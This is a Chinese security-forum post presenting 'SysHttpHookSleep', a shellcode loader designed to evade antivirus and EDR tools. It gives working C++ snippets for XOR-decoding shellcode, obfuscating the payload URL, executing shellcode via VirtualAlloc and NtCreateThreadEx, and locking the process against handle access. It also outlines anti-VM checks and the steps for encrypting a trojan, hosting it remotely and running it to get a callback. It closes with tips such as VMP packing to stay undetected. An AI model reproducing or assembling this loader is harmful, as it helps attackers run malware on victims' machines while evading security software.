安全矩阵

 找回密码
 立即注册
搜索
查看: 914|回复: 0

内存规避Shellcodeloader

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-9-12 22:01:28 | 显示全部楼层 |阅读模式
Wangfly SafeTime 2023-06-20 18:16 发表于上海

SysHttpHookSleep
[color=rgba(0, 0, 0, 0.9)]https://github.com/wangfly-me/SysHttpHookSleep
代码来源
[color=rgba(0, 0, 0, 0.9)]集合多种方式的ShellcodeLoader,主要代码来自:
[color=rgba(0, 0, 0, 0.9)]https://github.com/mgeeky/ShellcodeFluctuation
[color=rgba(0, 0, 0, 0.9)]https://github.com/TheD1rkMtr/BlockOpenHandle
主要功能
[color=rgba(0, 0, 0, 0.9)]Shellcode:异或xor加密+Base64编码+AES加密+Base64编码+字符串反转。
[color=rgba(0, 0, 0, 0.9)]加载方式:URL加密+远程加载+Syswhispers上线。
[color=rgba(0, 0, 0, 0.9)]内存规避:HOOK Sleep函数+内存xor加密+System权限打开句柄。
[color=rgba(0, 0, 0, 0.9)]反虚拟机:注册表+文件+进程+内存。
原理浅析
[color=rgba(0, 0, 0, 0.9)]Shellcode加密,采取异或xor加密+Base64编码+AES加密+Base64编码+字符串反转。
异或xor加密
[color=rgba(0, 0, 0, 0.9)]可改进,动态key生成
  1. const char* xx = rest2_decoded.c_str();

  2. std::vector<uint8_t> sc;

  3. for (int j = 0; j < rest2_decoded.length(); j++)
  4. {
  5. sc.push_back(xx[j] ^ XK2 ^ XK1);
  6. }
复制代码

字符反转
  1. reverse(rest2_reference.begin(), rest2_reference.end());
复制代码
[color=rgba(0, 0, 0, 0.9)]AES和Base64,都有写好的,下载下来,直接用即可。https://github.com/kkAyataka/plusaes
URL加密
[color=rgba(0, 0, 0, 0.9)]主要是避免静态特征,加密解密程序如下:
  1. int key[] = { 1,2,3,4,5,6,7 };

  2. void encryption(string& c, int key[]) {
  3. int len = c.size();
  4. for (int i = 0; i < len; i++) {
  5. c[i] = c[i] ^ key[i % 7];
  6. }
  7. }
  8. void decode(string& c, int key[]) {
  9. int len = c.size();
  10. for (int i = 0; i < len; i++) {
  11. c[i] = c[i] ^ key[i % 7];
  12. }
  13. }
复制代码
[color=rgba(0, 0, 0, 0.9)]
远程线程注入
[color=rgba(0, 0, 0, 0.9)]Syswhispers生成远程线程注入函数,代码如下(可改进,Unhook每个敏感函数,去掉EDR钩子):
  1. bool iS(std::vector<uint8_t>& shellcode, HandlePtr& thread)
  2. {
  3.    HANDLE hHostThread = INVALID_HANDLE_VALUE;
  4.    auto alloc = VirtualAlloc(NULL, shellcode.size() + 1, MEM_COMMIT, PAGE_READWRITE);

  5.    memcpy(alloc, shellcode.data(), shellcode.size());
  6.    DWORD old;
  7.    VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old);
  8.    shellcode.clear();
  9.    SIZE_T sDataSize = shellcode.size();
  10.    NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)alloc, NULL, FALSE, NULL, NULL, NULL, NULL);
  11.    NtWaitForMultipleObjects(1, &hHostThread, WaitAll, FALSE, NULL);
  12.    NtFreeVirtualMemory((HANDLE)-1, &alloc, &sDataSize, MEM_RELEASE);
  13.    return 0;
  14. }
复制代码

内存规避
[color=rgba(0, 0, 0, 0.9)]https://www.freebuf.com/articles/system/361161.html
System权限打开句柄
  1. void Set()
  2. {
  3.    LPCWSTR sddl = L"D:P"
  4.        L"(D;OICI;GA;;;WD)"  
  5.        L"(A;OICI;GA;;;SY)"  
  6.        L"(A;OICI;GA;;;OW)";

  7.    PSECURITY_DESCRIPTOR securityDescriptor = nullptr;

  8.    if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(sddl, SDDL_REVISION_1, &securityDescriptor, nullptr))
  9.   {
  10.        return;
  11.   }

  12.    if (!SetKernelObjectSecurity(GetCurrentProcess(), DACL_SECURITY_INFORMATION, securityDescriptor))
  13.   {
  14.        return;
  15.   }

  16.    LocalFree(securityDescriptor);
  17. }
复制代码


操作步骤
加密编码工具在release中下载。
先生成stagerless的raw木马,按顺序分别使用enc.py、AES_Shellcode.exe、rev.py生成b.txt文件,并将其部署在服务器端。

其次将URL使用URL_XOR.exe进行加密,并分成两段填入str1和str2参数中。

最后生成exe,运行上线。
免杀效果
由于在项目中已经投入使用一段时间,可能有些已经不免杀,可以尝试VMP加壳,或者修改代码二次开发,来规避杀软。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:36 , Processed in 0.013039 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表